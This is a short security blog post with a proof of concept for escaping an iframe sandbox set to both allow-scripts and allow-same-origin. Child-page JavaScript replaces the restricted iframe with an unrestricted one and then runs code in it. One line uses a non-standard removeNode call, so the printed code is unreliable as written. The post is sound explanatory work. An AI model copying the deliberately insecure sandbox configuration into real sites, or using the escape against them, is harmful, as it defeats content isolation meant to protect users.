Escaping Improperly Sandboxed Iframes
2020-05-06 | Security
Thanks to iframe's sandbox attribute, it is possible to specify restrictions applied on content displayed inside the iframe. The documentation strongly discourages from using both allow-scripts and allow-same-origin values due to security risks it may introduce. In this blogpost, I am going to explain and demonstrate why.
In Mozilla's developer documentation on <iframe>
, you can find the following remark related to allow-scripts
and allow-same-origin
values of the sandbox
attribute:
When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both
allow-scripts
andallow-same-origin
, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.
When I first read this note, I thought that escaping will be fairly straightforward:
- Accessing
window.parent
from the page inside the iframe, - getting the iframe element reference via Document Object Model (DOM) functions, such as
.getElementById()
or.getElementsByTagName()
, - removing the iframe's
sandbox
element via.removeAttribute("sandbox")
, - calling
alert()
function to create a modal window despiteallow-modals
was not set for the iframe, hence escaping from the iframe's restrictions.
Unfortunatelly, this rather naïve approach does not work. From my experiments, the reason for that is the fact that browsers apply restrictions on the <iframe>
's content when loading the page. When I subsequently change or remove the sandbox attribute and then call "illegal" functions, browser will still block them.
On the following lines I will demonstrate the simplest solution I have been able to come up with. Before I get to it, let me explain the terminology I am using - a child page
refers to a page that is being displayed in the iframe
, while a parent page
refers to a page that contains the <iframe>
element.
Let's have a look at parent page, in index.html
:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>PoC - Discouraged combination of sandbox attribute values (parent page)</title>
</head>
<body>
<iframe src="kid.htm" sandbox="allow-same-origin allow-scripts" id="escapeMe"></iframe>
</body>
</html>
This is the page that we need to modify from the child page (kid.htm
). To escape the iframe as I outlined above, I will be popping an alert()
from the child page inside the parent.
One of the simplest solutions I have been able to come up with is to simply create a new iframe in place of the old one, and let the child page know it has been loaded in unrestricted mode. I will walk you through the process step by step.
First, I will obtain a reference to the parent window and verify the iframe
in question still exists. If the original iframe is missing, it means that the child page is loaded from another iframe
- the one we are going to create in step 2 as a replacement:
let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
// 1. Create replacement iframe
// 2. Delete the old one
} else {
// When the original iframe no longer exists, we can assume
// it is possible to execute our code without restrictions
alert("This should not have happened.");
}
In the second step, I expand the body of the condition to create unrestricted iframe and to remove the original one with restrictions:
let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
// 1. Create replacement iframe
let replacement = parent.document.createElement("iframe");
replacement.setAttribute("src", "kid.htm");
replacement.setAttribute("id", "escapedAlready");
parent.document.body.append(replacement);
// 2. Delete the old one
let original = parent.document.getElementById("escapeMe");
original.parentNode.removeNode(original);
} else {
// When the original iframe no longer exists, we can assume
// it is possible to execute our code without restrictions
alert("This should not have happened.");
}
Now, when the parent page loads the child page into the iframe
with allow-scripts
and allow-same-origin
, the child page manages to escape the original iframe's restrictions and execute its code.
Both of the files I used in this demonstration are available on my Github. You can also try for yourself on my Github Pages.
Can you think of a simpler way to escape? Please let me know!